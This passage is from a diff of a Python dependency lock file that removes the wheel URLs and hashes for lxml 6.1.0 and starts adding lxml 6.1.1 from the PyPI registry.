"https://files.pythonhosted.org/packages/c2/df/c84dcc175fd690823436d15b41cb920cd5ba5e14cd8bfb00949d5903b320/lxml-6.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:19f4164243fc206d12ed3d866e80e74f5bc3627966520da1a5f97e42c32a3f39", size = 3667742, upload-time = "2026-04-18T04:27:38.45Z" }, - { url = "https://files.pythonhosted.org/packages/d2/d4/9326838b59dc36dfae42eec9656b97520f9997eee1de47b8316aaeed169c/lxml-6.1.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:d2f17a16cd8751e8eb233a7e41aecdf8e511712e00088bf9be455f604cd0d28d", size = 8570663, upload-time = "2026-04-18T04:27:48.253Z" }, - { url = "https://files.pythonhosted.org/packages/d8/a4/053745ce1f8303ccbb788b86c0db3a91b973675cefc42566a188637b7c40/lxml-6.1.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:f0cea5b1d3e6e77d71bd2b9972eb2446221a69dc52bb0b9c3c6f6e5700592d93", size = 4624024, upload-time = "2026-04-18T04:27:52.594Z" }, - { url = "https://files.pythonhosted.org/packages/90/97/a517944b20f8fd0932ad2109482bee4e29fe721416387a363306667941f6/lxml-6.1.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:fc46da94826188ed45cb53bd8e3fc076ae22675aea2087843d4735627f867c6d", size = 4930895, upload-time = "2026-04-18T04:32:56.29Z" }, - { url = "https://files.pythonhosted.org/packages/94/7c/e08a970727d556caa040a44773c7b7e3ad0f0d73dedc863543e9a8b931f2/lxml-6.1.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9147d8e386ec3b82c3b15d88927f734f565b0aaadef7def562b853adca45784a", size = 5093820, upload-time = "2026-04-18T04:32:58.94Z" }, - { url = "https://files.pythonhosted.org/packages/88/ee/2a5c2aa2c32016a226ca25d3e1056a8102ea6e1fe308bf50213586635400/lxml-6.1.0-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5715e0e28736a070f3f34a7ccc09e2fdcba0e3060abbcf61a1a5718ff6d6b105", size = 5005790, upload-time = "2026-04-18T04:33:01.272Z" }, - { url = "https://files.pythonhosted.org/packages/e3/38/a0db9be8f38ad6043ab9429487c128dd1d30f07956ef43040402f8da49e8/lxml-6.1.0-cp312-cp312-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4937460dc5df0cdd2f06a86c285c28afda06aefa3af949f9477d3e8df430c485", size = 5630827, upload-time = "2026-04-18T04:33:04.036Z" }, - { url = "https://files.pythonhosted.org/packages/31/ba/3c13d3fc24b7cacf675f808a3a1baabf43a30d0cd24c98f94548e9aa58eb/lxml-6.1.0-cp312-cp312-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bc783ee3147e60a25aa0445ea82b3e8aabb83b240f2b95d32cb75587ff781814", size = 5240445, upload-time = "2026-04-18T04:33:06.87Z" }, - { url = "https://files.pythonhosted.org/packages/55/ba/eeef4ccba09b2212fe239f46c1692a98db1878e0872ae320756488878a94/lxml-6.1.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:40d9189f80075f2e1f88db21ef815a2b17b28adf8e50aaf5c789bfe737027f32", size = 5350121, upload-time = "2026-04-18T04:33:09.365Z" }, - { url = "https://files.pythonhosted.org/packages/7e/01/1da87c7b587c38d0cbe77a01aae3b9c1c49ed47d76918ef3db8fc151b1ca/lxml-6.1.0-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:05b9b8787e35bec69e68daf4952b2e6dfcfb0db7ecf1a06f8cdfbbac4eb71aad", size = 4694949, upload-time = "2026-04-18T04:33:11.628Z" }, - { url = "https://files.pythonhosted.org/packages/a1/88/7db0fe66d5aaf128443ee1623dec3db1576f3e4c17751ec0ef5866468590/lxml-6.1.0-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0f0f08beb0182e3e9a86fae124b3c47a7b41b7b69b225e1377db983802404e54", size = 5243901, upload-time = "2026-04-18T04:33:13.95Z" }, - { url = "https://files.pythonhosted.org/packages/00/a8/1346726af7d1f6fca1f11223ba34001462b0a3660416986d37641708d57c/lxml-6.1.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:73becf6d8c81d4c76b1014dbd3584cb26d904492dcf73ca85dc8bff08dcd6d2d", size = 5048054, upload-time = "2026-04-18T04:33:16.965Z" }, - { url = "https://files.pythonhosted.org/packages/2e/b7/85057012f035d1a0c87e02f8c723ca3c3e6e0728bcf4cb62080b21b1c1e3/lxml-6.1.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:1ae225f66e5938f4fa29d37e009a3bb3b13032ac57eb4eb42afa44f6e4054e69", size = 4777324, upload-time = "2026-04-18T04:33:19.832Z" }, - { url = "https://files.pythonhosted.org/packages/75/6c/ad2f94a91073ef570f33718040e8e160d5fb93331cf1ab3ca1323f939e2d/lxml-6.1.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:690022c7fae793b0489aa68a658822cea83e0d5933781811cabbf5ea3bcfe73d", size = 5645702, upload-time = "2026-04-18T04:33:22.436Z" }, - { url = "https://files.pythonhosted.org/packages/3b/89/0bb6c0bd549c19004c60eea9dc554dd78fd647b72314ef25d460e0d208c6/lxml-6.1.0-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:63aeafc26aac0be8aff14af7871249e87ea1319be92090bfd632ec68e03b16a5", size = 5232901, upload-time = "2026-04-18T04:33:26.21Z" }, - { url = "https://files.pythonhosted.org/packages/a1/d9/d609a11fb567da9399f525193e2b49847b5a409cdebe737f06a8b7126bdc/lxml-6.1.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:264c605ab9c0e4aa1a679636f4582c4d3313700009fac3ec9c3412ed0d8f3e1d", size = 5261333, upload-time = "2026-04-18T04:33:28.984Z" }, - { url = "https://files.pythonhosted.org/packages/a6/3a/ac3f99ec8ac93089e7dd556f279e0d14c24de0a74a507e143a2e4b496e7c/lxml-6.1.0-cp312-cp312-win32.whl", hash = "sha256:56971379bc5ee8037c5a0f09fa88f66cdb7d37c3e38af3e45cf539f41131ac1f", size = 3596289, upload-time = "2026-04-18T04:27:42.819Z" }, - { url = "https://files.pythonhosted.org/packages/f2/a7/0a915557538593cb1bbeedcd40e13c7a261822c26fecbbdb71dad0c2f540/lxml-6.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:bba078de0031c219e5dd06cf3e6bf8fb8e6e64a77819b358f53bb132e3e03366", size = 3997059, upload-time = "2026-04-18T04:27:46.764Z" }, - { url = "https://files.pythonhosted.org/packages/92/96/a5dc078cf0126fbfbc35611d77ecd5da80054b5893e28fb213a5613b9e1d/lxml-6.1.0-cp312-cp312-win_arm64.whl", hash = "sha256:c3592631e652afa34999a088f98ba7dfc7d6aff0d535c410bea77a71743f3819", size = 3659552, upload-time = "2026-04-18T04:27:51.133Z" }, - { url = "https://files.pythonhosted.org/packages/08/03/69347590f1cf4a6d5a4944bb6099e6d37f334784f16062234e1f892fdb1d/lxml-6.1.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:a0092f2b107b69601adf562a57c956fbb596e05e3e6651cabd3054113b007e45", size = 8559689, upload-time = "2026-04-18T04:31:57.785Z" }, - { url = "https://files.pythonhosted.org/packages/3f/58/25e00bb40b185c974cfe156c110474d9a8a8390d5f7c92a4e328189bb60e/lxml-6.1.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:fc7140d7a7386e6b545d41b7358f4d02b656d4053f5fa6859f92f4b9c2572c4d", size = 4617892, upload-time = "2026-04-18T04:32:01.78Z" }, - { url = "https://files.pythonhosted.org/packages/f5/54/92ad98a94ac318dc4f97aaac22ff8d1b94212b2ae8af5b6e9b354bf825f7/lxml-6.1.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:419c58fc92cc3a2c3fa5f78c63dbf5da70c1fa9c1b25f25727ecee89a96c7de2", size = 4923489, upload-time = "2026-04-18T04:33:31.401Z" }, - { url = "https://files.pythonhosted.org/packages/15/3b/a20aecfab42bdf4f9b390590d345857ad3ffd7c51988d1c89c53a0c73faf/lxml-6.1.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:37fabd1452852636cf38ecdcc9dd5ca4bba7a35d6c53fa09725deeb894a87491", size = 5082162, upload-time = "2026-04-18T04:33:34.262Z" }, - { url = "https://files.pythonhosted.org/packages/45/26/2cdb3d281ac1bd175603e290cbe4bad6eff127c0f8de90bafd6f8548f0fd/lxml-6.1.0-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a2853c8b2170cc6cd54a6b4d50d2c1a8a7aeca201f23804b4898525c7a152cfc", size = 4993247, upload-time = "2026-04-18T04:33:36.674Z" }, - { url = "https://files.pythonhosted.org/packages/f6/05/d735aef963740022a08185c84821f689fc903acb3d50326e6b1e9886cc22/lxml-6.1.0-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8e369cbd690e788c8d15e56222d91a09c6a417f49cbc543040cba0fe2e25a79e", size = 5613042, upload-time = "2026-04-18T04:33:39.205Z" }, - { url = "https://files.pythonhosted.org/packages/ee/b8/ead7c10efff731738c72e59ed6eb5791854879fbed7ae98781a12006263a/lxml-6.1.0-cp313-cp313-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e69aa6805905807186eb00e66c6d97a935c928275182eb02ee40ba00da9623b2", size = 5228304, upload-time = "2026-04-18T04:33:41.647Z" }, - { url = "https://files.pythonhosted.org/packages/6b/10/e9842d2ec322ea65f0a7270aa0315a53abed06058b88ef1b027f620e7a5f/lxml-6.1.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:4bd1bdb8a9e0e2dd229de19b5f8aebac80e916921b4b2c6ef8a52bc131d0c1f9", size = 5341578, upload-time = "2026-04-18T04:33:44.596Z" }, - { url = "https://files.pythonhosted.org/packages/89/54/40d9403d7c2775fa7301d3ddd3464689bfe9ba71acc17dfff777071b4fdc/lxml-6.1.0-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:cbd7b79cdcb4986ad78a2662625882747f09db5e4cd7b2ae178a88c9c51b3dfe", size = 4700209, upload-time = "2026-04-18T04:33:47.552Z" }, - { url = "https://files.pythonhosted.org/packages/85/b2/bbdcc2cf45dfc7dfffef4fd97e5c47b15919b6a365247d95d6f684ef5e82/lxml-6.1.0-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:43e4d297f11080ec9d64a4b1ad7ac02b4484c9f0e2179d9c4ef78e886e747b88", size = 5232365, upload-time = "2026-04-18T04:33:50.249Z" }, - { url = "https://files.pythonhosted.org/packages/48/5a/b06875665e53aaba7127611a7bed3b7b9658e20b22bc2dd217a0b7ab0091/lxml-6.1.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cc16682cc987a3da00aa56a3aa3075b08edb10d9b1e476938cfdbee8f3b67181", size = 5043654, upload-time = "2026-04-18T04:33:52.71Z" }, - { url = "https://files.pythonhosted.org/packages/e9/9c/e71a069d09641c1a7abeb30e693f828c7c90a41cbe3d650b2d734d876f85/lxml-6.1.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:d6d8efe71429635f0559579092bb5e60560d7b9115ee38c4adbea35632e7fa24", size = 4769326, upload-time = "2026-04-18T04:33:55.244Z" }, - { url = "https://files.pythonhosted.org/packages/cc/06/7a9cd84b3d4ed79adf35f874750abb697dec0b4a81a836037b36e47c091a/lxml-6.1.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:7e39ab3a28af7784e206d8606ec0e4bcad0190f63a492bca95e94e5a4aef7f6e", size = 5635879, upload-time = "2026-04-18T04:33:58.509Z" }, - { url = "https://files.pythonhosted.org/packages/cc/f0/9d57916befc1e54c451712c7ee48e9e74e80ae4d03bdce49914e0aee42cd/lxml-6.1.0-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:9eb667bf50856c4a58145f8ca2d5e5be160191e79eb9e30855a476191b3c3495", size = 5224048, upload-time = "2026-04-18T04:34:00.943Z" }, - { url = "https://files.pythonhosted.org/packages/99/75/90c4eefda0c08c92221fe0753db2d6699a4c628f76ff4465ec20dea84cc1/lxml-6.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:7f4a77d6f7edf9230cee3e1f7f6764722a41604ee5681844f18db9a81ea0ec33", size = 5250241, upload-time = "2026-04-18T04:34:03.365Z" }, - { url = "https://files.pythonhosted.org/packages/5e/73/16596f7e4e38fa33084b9ccbccc22a15f82a290a055126f2c1541236d2ff/lxml-6.1.0-cp313-cp313-win32.whl", hash = "sha256:28902146ffbe5222df411c5d19e5352490122e14447e98cd118907ee3fd6ee62", size = 3596938, upload-time = "2026-04-18T04:31:56.206Z" }, - { url = "https://files.pythonhosted.org/packages/8e/63/981401c5680c1eb30893f00a19641ac80db5d1e7086c62cb4b13ed813038/lxml-6.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:4a1503c56e4e2b38dc76f2f2da7bae69670c0f1933e27cfa34b2fa5876410b16", size = 3995728, upload-time = "2026-04-18T04:31:58.763Z" }, - { url = "https://files.pythonhosted.org/packages/e7/e8/c358a38ac3e541d16a1b527e4e9cb78c0419b0506a070ace11777e5e8404/lxml-6.1.0-cp313-cp313-win_arm64.whl", hash = "sha256:e0af85773850417d994d019741239b901b22c6680206f46a34766926e466141d", size = 3658372, upload-time = "2026-04-18T04:32:03.629Z" }, - { url = "https://files.pythonhosted.org/packages/eb/45/cee4cf203ef0bab5c52afc118da61d6b460c928f2893d40023cfa27e0b80/lxml-6.1.0-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:ab863fd37458fed6456525f297d21239d987800c46e67da5ef04fc6b3dd93ac8", size = 8576713, upload-time = "2026-04-18T04:32:06.831Z" }, - { url = "https://files.pythonhosted.org/packages/8a/a7/eda05babeb7e046839204eaf254cd4d7c9130ce2bbf0d9e90ea41af5654d/lxml-6.1.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:6fd8b1df8254ff4fd93fd31da1fc15770bde23ac045be9bb1f87425702f61cc9", size = 4623874, upload-time = "2026-04-18T04:32:10.755Z" }, - { url = "https://files.pythonhosted.org/packages/e7/e9/db5846de9b436b91890a62f29d80cd849ea17948a49bf532d5278ee69a9e/lxml-6.1.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:47024feaae386a92a146af0d2aeed65229bf6fff738e6a11dda6b0015fb8fd03", size = 4949535, upload-time = "2026-04-18T04:34:06.657Z" }, - { url = "https://files.pythonhosted.org/packages/5a/ba/0d3593373dcae1d68f40dc3c41a5a92f2544e68115eb2f62319a4c2a6500/lxml-6.1.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3f00972f84450204cd5d93a5395965e348956aaceaadec693a22ec743f8ae3eb", size = 5086881, upload-time = "2026-04-18T04:34:09.556Z" }, - { url = "https://files.pythonhosted.org/packages/43/76/759a7484539ad1af0d125a9afe9c3fb5f82a8779fd1f5f56319d9e4ea2fd/lxml-6.1.0-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:97faa0860e13b05b15a51fb4986421ef7a30f0b3334061c416e0981e9450ca4c", size = 5031305, upload-time = "2026-04-18T04:34:12.336Z" }, - { url = "https://files.pythonhosted.org/packages/dc/b9/c1f0daf981a11e47636126901fd4ab82429e18c57aeb0fc3ad2940b42d8b/lxml-6.1.0-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:972a6451204798675407beaad97b868d0c733d9a74dafefc63120b81b8c2de28", size = 5647522, upload-time = "2026-04-18T04:34:14.89Z" }, - { url = "https://files.pythonhosted.org/packages/31/e6/1f533dcd205275363d9ba3511bcec52fa2df86abf8abe6a5f2c599f0dc31/lxml-6.1.0-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fe022f20bc4569ec66b63b3fb275a3d628d9d32da6326b2982584104db6d3086", size = 5239310, upload-time = "2026-04-18T04:34:17.652Z" }, - { url = "https://files.pythonhosted.org/packages/c3/8c/4175fb709c78a6e315ed814ed33be3defd8b8721067e70419a6cf6f971da/lxml-6.1.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:75c4c7c619a744f972f4451bf5adf6d0fb00992a1ffc9fd78e13b0bc817cc99f", size = 5350799, upload-time = "2026-04-18T04:34:20.529Z" }, - { url = "https://files.pythonhosted.org/packages/fd/77/6ffdebc5994975f0dde4acb59761902bd9d9bb84422b9a0bd239a7da9ca8/lxml-6.1.0-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:3648f20d25102a22b6061c688beb3a805099ea4beb0a01ce62975d926944d292", size = 4697693, upload-time = "2026-04-18T04:34:23.541Z" }, - { url = "https://files.pythonhosted.org/packages/f8/f1/565f36bd5c73294602d48e04d23f81ff4c8736be6ba5e1d1ec670ac9be80/lxml-6.1.0-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:77b9f99b17cbf14026d1e618035077060fc7195dd940d025149f3e2e830fbfcb", size = 5250708, upload-time = "2026-04-18T04:34:26.001Z" }, - { url = "https://files.pythonhosted.org/packages/5a/11/a68ab9dd18c5c499404deb4005f4bc4e0e88e5b72cd755ad96efec81d18d/lxml-6.1.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:32662519149fd7a9db354175aa5e417d83485a8039b8aaa62f873ceee7ea4cad", size = 5084737, upload-time = "2026-04-18T04:34:28.32Z" }, - { url = "https://files.pythonhosted.org/packages/ab/78/e8f41e2c74f4af564e6a0348aea69fb6daaefa64bc071ef469823d22cc18/lxml-6.1.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:73d658216fc173cf2c939e90e07b941c5e12736b0bf6a99e7af95459cfe8eabb", size = 4737817, upload-time = "2026-04-18T04:34:30.784Z" }, - { url = "https://files.pythonhosted.org/packages/06/2d/aa4e117aa2ce2f3b35d9ff246be74a2f8e853baba5d2a92c64744474603a/lxml-6.1.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:ac4db068889f8772a4a698c5980ec302771bb545e10c4b095d4c8be26749616f", size = 5670753, upload-time = "2026-04-18T04:34:33.675Z" }, - { url = "https://files.pythonhosted.org/packages/08/f5/dd745d50c0409031dbfcc4881740542a01e54d6f0110bd420fa7782110b8/lxml-6.1.0-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:45e9dfbd1b661eb64ba0d4dbe762bd210c42d86dd1e5bd2bdf89d634231beb43", size = 5238071, upload-time = "2026-04-18T04:34:36.12Z" }, - { url = "https://files.pythonhosted.org/packages/3e/74/ad424f36d0340a904665867dab310a3f1f4c96ff4039698de83b77f44c1f/lxml-6.1.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:89e8d73d09ac696a5ba42ec69787913d53284f12092f651506779314f10ba585", size = 5264319, upload-time = "2026-04-18T04:34:39.035Z" }, - { url = "https://files.pythonhosted.org/packages/53/36/a15d8b3514ec889bfd6aa3609107fcb6c9189f8dc347f1c0b81eded8d87c/lxml-6.1.0-cp314-cp314-win32.whl", hash = "sha256:ebe33f4ec1b2de38ceb225a1749a2965855bffeef435ba93cd2d5d540783bf2f", size = 3657139, upload-time = "2026-04-18T04:32:20.006Z" }, - { url = "https://files.pythonhosted.org/packages/1a/a4/263ebb0710851a3c6c937180a9a86df1206fdfe53cc43005aa2237fd7736/lxml-6.1.0-cp314-cp314-win_amd64.whl", hash = "sha256:398443df51c538bd578529aa7e5f7afc6c292644174b47961f3bf87fe5741120", size = 4064195, upload-time = "2026-04-18T04:32:23.876Z" }, - { url = "https://files.pythonhosted.org/packages/80/68/2000f29d323b6c286de077ad20b429fc52272e44eae6d295467043e56012/lxml-6.1.0-cp314-cp314-win_arm64.whl", hash = "sha256:8c8984e1d8c4b3949e419158fda14d921ff703a9ed8a47236c6eb7a2b6cb4946", size = 3741870, upload-time = "2026-04-18T04:32:27.922Z" }, - { url = "https://files.pythonhosted.org/packages/30/e9/21383c7c8d43799f0da90224c0d7c921870d476ec9b3e01e1b2c0b8237c5/lxml-6.1.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:1081dd10bc6fa437db2500e13993abf7cc30716d0a2f40e65abb935f02ec559c", size = 8827548, upload-time = "2026-04-18T04:32:15.094Z" }, - { url = "https://files.pythonhosted.org/packages/a5/01/c6bc11cd587030dd4f719f65c5657960649fe3e19196c844c75bf32cd0d6/lxml-6.1.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:dabecc48db5f42ba348d1f5d5afdc54c6c4cc758e676926c7cd327045749517d", size = 4735866, upload-time = "2026-04-18T04:32:18.924Z" }, - { url = "https://files.pythonhosted.org/packages/f3/01/757132fff5f4acf25463b5298f1a46099f3a94480b806547b29ce5e385de/lxml-6.1.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:e3dd5fe19c9e0ac818a9c7f132a5e43c1339ec1cbbfecb1a938bd3a47875b7c9", size = 4969476, upload-time = "2026-04-18T04:34:41.889Z" }, - { url = "https://files.pythonhosted.org/packages/fd/fb/1bc8b9d27ed64be7c8903db6c89e74dc8c2cd9ec630a7462e4654316dc5b/lxml-6.1.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:9e7b0a4ca6dcc007a4cef00a761bba2dea959de4bd2df98f926b33c92ca5dfb9", size = 5103719, upload-time = "2026-04-18T04:34:44.797Z" }, - { url = "https://files.pythonhosted.org/packages/d5/e7/5bf82fa28133536a54601aae633b14988e89ed61d4c1eb6b899b023233aa/lxml-6.1.0-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5d27bbe326c6b539c64b42638b18bc6003a8d88f76213a97ac9ed4f885efeab7", size = 5027890, upload-time = "2026-04-18T04:34:47.634Z" }, - { url = "https://files.pythonhosted.org/packages/2d/20/e048db5d4b4ea0366648aa595f26bb764b2670903fc585b87436d0a5032c/lxml-6.1.0-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c4e425db0c5445ef0ad56b0eec54f89b88b2d884656e536a90b2f52aecb4ca86", size = 5596008, upload-time = "2026-04-18T04:34:51.503Z" }, - { url = "https://files.pythonhosted.org/packages/9a/c2/d10807bc8da4824b39e5bd01b5d05c077b6fd01bd91584167edf6b269d22/lxml-6.1.0-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4b89b098105b8599dc57adac95d1813409ac476d3c948a498775d3d0c6124bfb", size = 5224451, upload-time = "2026-04-18T04:34:54.263Z" }, - { url = "https://files.pythonhosted.org/packages/3c/15/2ebea45bea427e7f0057e9ce7b2d62c5aba20c6b001cca89ed0aadb3ad41/lxml-6.1.0-cp314-cp314t-manylinux_2_28_i686.whl", hash = "sha256:c4a699432846df86cc3de502ee85f445ebad748a1c6021d445f3e514d2cd4b1c", size = 5312135, upload-time = "2026-04-18T04:34:56.818Z" }, - { url = "https://files.pythonhosted.org/packages/31/e2/87eeae151b0be2a308d49a7ec444ff3eb192b14251e62addb29d0bf3778f/lxml-6.1.0-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:30e7b2ed63b6c8e97cca8af048589a788ab5c9c905f36d9cf1c2bb549f450d2f", size = 4639126, upload-time = "2026-04-18T04:34:59.704Z" }, - { url = "https://files.pythonhosted.org/packages/a3/51/8a3f6a20902ad604dd746ec7b4000311b240d389dac5e9d95adefd349e0c/lxml-6.1.0-cp314-cp314t-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:022981127642fe19866d2907d76241bb07ed21749601f727d5d5dd1ce5d1b773", size = 5232579, upload-time = "2026-04-18T04:35:02.658Z" }, - { url = "https://files.pythonhosted.org/packages/6d/d2/650d619bdbe048d2c3f2c31edb00e35670a5e2d65b4fe3b61bce37b19121/lxml-6.1.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:23cad0cc86046d4222f7f418910e46b89971c5a45d3c8abfad0f64b7b05e4a9b", size = 5084206, upload-time = "2026-04-18T04:35:05.175Z" }, - { url = "https://files.pythonhosted.org/packages/dd/8a/672ca1a3cbeabd1f511ca275a916c0514b747f4b85bdaae103b8fa92f307/lxml-6.1.0-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:21c3302068f50d1e8728c67c87ba92aa87043abee517aa2576cca1855326b405", size = 4758906, upload-time = "2026-04-18T04:35:08.098Z" }, - { url = "https://files.pythonhosted.org/packages/be/f1/ef4b691da85c916cb2feb1eec7414f678162798ac85e042fa164419ac05c/lxml-6.1.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:be10838781cb3be19251e276910cd508fe127e27c3242e50521521a0f3781690", size = 5620553, upload-time = "2026-04-18T04:35:11.23Z" }, - { url = "https://files.pythonhosted.org/packages/59/17/94e81def74107809755ac2782fdad4404420f1c92ca83433d117a6d5acf0/lxml-6.1.0-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:2173a7bffe97667bbf0767f8a99e587740a8c56fdf3befac4b09cb29a80276fd", size = 5229458, upload-time = "2026-04-18T04:35:14.254Z" }, - { url = "https://files.pythonhosted.org/packages/21/55/c4be91b0f830a871fc1b0d730943d56013b683d4671d5198260e2eae722b/lxml-6.1.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:c6854e9cf99c84beb004eecd7d3a3868ef1109bf2b1df92d7bc11e96a36c2180", size = 5247861, upload-time = "2026-04-18T04:35:17.006Z" }, - { url = "https://files.pythonhosted.org/packages/c2/ca/77123e4d77df3cb1e968ade7b1f808f5d3a5c1c96b18a33895397de292c1/lxml-6.1.0-cp314-cp314t-win32.whl", hash = "sha256:00750d63ef0031a05331b9223463b1c7c02b9004cef2346a5b2877f0f9494dd2", size = 3897377, upload-time = "2026-04-18T04:32:07.656Z" }, - { url = "https://files.pythonhosted.org/packages/64/ce/3554833989d074267c063209bae8b09815e5656456a2d332b947806b05ff/lxml-6.1.0-cp314-cp314t-win_amd64.whl", hash = "sha256:80410c3a7e3c617af04de17caa9f9f20adaa817093293d69eae7d7d0522836f5", size = 4392701, upload-time = "2026-04-18T04:32:12.113Z" }, - { url = "https://files.pythonhosted.org/packages/2b/a0/9b916c68c0e57752c07f8f64b30138d9d4059dbeb27b90274dedbea128ff/lxml-6.1.0-cp314-cp314t-win_arm64.whl", hash = "sha256:26dd9f57ee3bd41e7d35b4c98a2ffd89ed11591649f421f0ec19f67d50ec67ac", size = 3817120, upload-time = "2026-04-18T04:32:15.803Z" }, - { url = "https://files.pythonhosted.org/packages/f2/88/55143966481409b1740a3ac669e611055f49efd68087a5ce41582325db3e/lxml-6.1.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:546b66c0dd1bb8d9fa89d7123e5fa19a8aff3a1f2141eb22df96112afb17b842", size = 3930134, upload-time = "2026-04-18T04:32:35.008Z" }, - { url = "https://files.pythonhosted.org/packages/b5/97/28b985c2983938d3cb696dd5501423afb90a8c3e869ef5d3c62569282c0f/lxml-6.1.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5cfa1a34df366d9dc0d5eaf420f4cf2bb1e1bebe1066d1c2fc28c179f8a4004c", size = 4210749, upload-time = "2026-04-18T04:36:03.626Z" }, - { url = "https://files.pythonhosted.org/packages/29/67/dfab2b7d58214921935ccea7ce9b3df9b7d46f305d12f0f532ac7cf6b804/lxml-6.1.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:db88156fcf544cdbf0d95588051515cfdfd4c876fc66444eb98bceb5d6db76de", size = 4318463, upload-time = "2026-04-18T04:36:06.309Z" }, - { url = "https://files.pythonhosted.org/packages/32/a2/4ac7eb32a4d997dd352c32c32399aae27b3f268d440e6f9cfa405b575d2f/lxml-6.1.0-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:07f98f5496f96bf724b1e3c933c107f0cbf2745db18c03d2e13a291c3afd2635", size = 4251124, upload-time = "2026-04-18T04:36:09.056Z" }, - { url = "https://files.pythonhosted.org/packages/33/ef/d6abd850bb4822f9b720cfe36b547a558e694881010ff7d012191e8769c6/lxml-6.1.0-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4642e04449a1e164b5ff71ffd901ddb772dfabf5c9adf1b7be5dffe1212bc037", size = 4401758, upload-time = "2026-04-18T04:36:11.803Z" }, - { url = "https://files.pythonhosted.org/packages/40/44/3ee09a5b60cb44c4f2fbc1c9015cfd6ff5afc08f991cab295d3024dcbf2d/lxml-6.1.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:7da13bb6fbadfafb474e0226a30570a3445cfd47c86296f2446dafbd77079ace", size = 3508860, upload-time = "2026-04-18T04:32:48.619Z" }, +version = "6.1.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/05/3b/aab6728cae887456f409b4d75e8a01856e4f04bd510de38052a47768b680/lxml-6.1.1.tar.gz", hash = 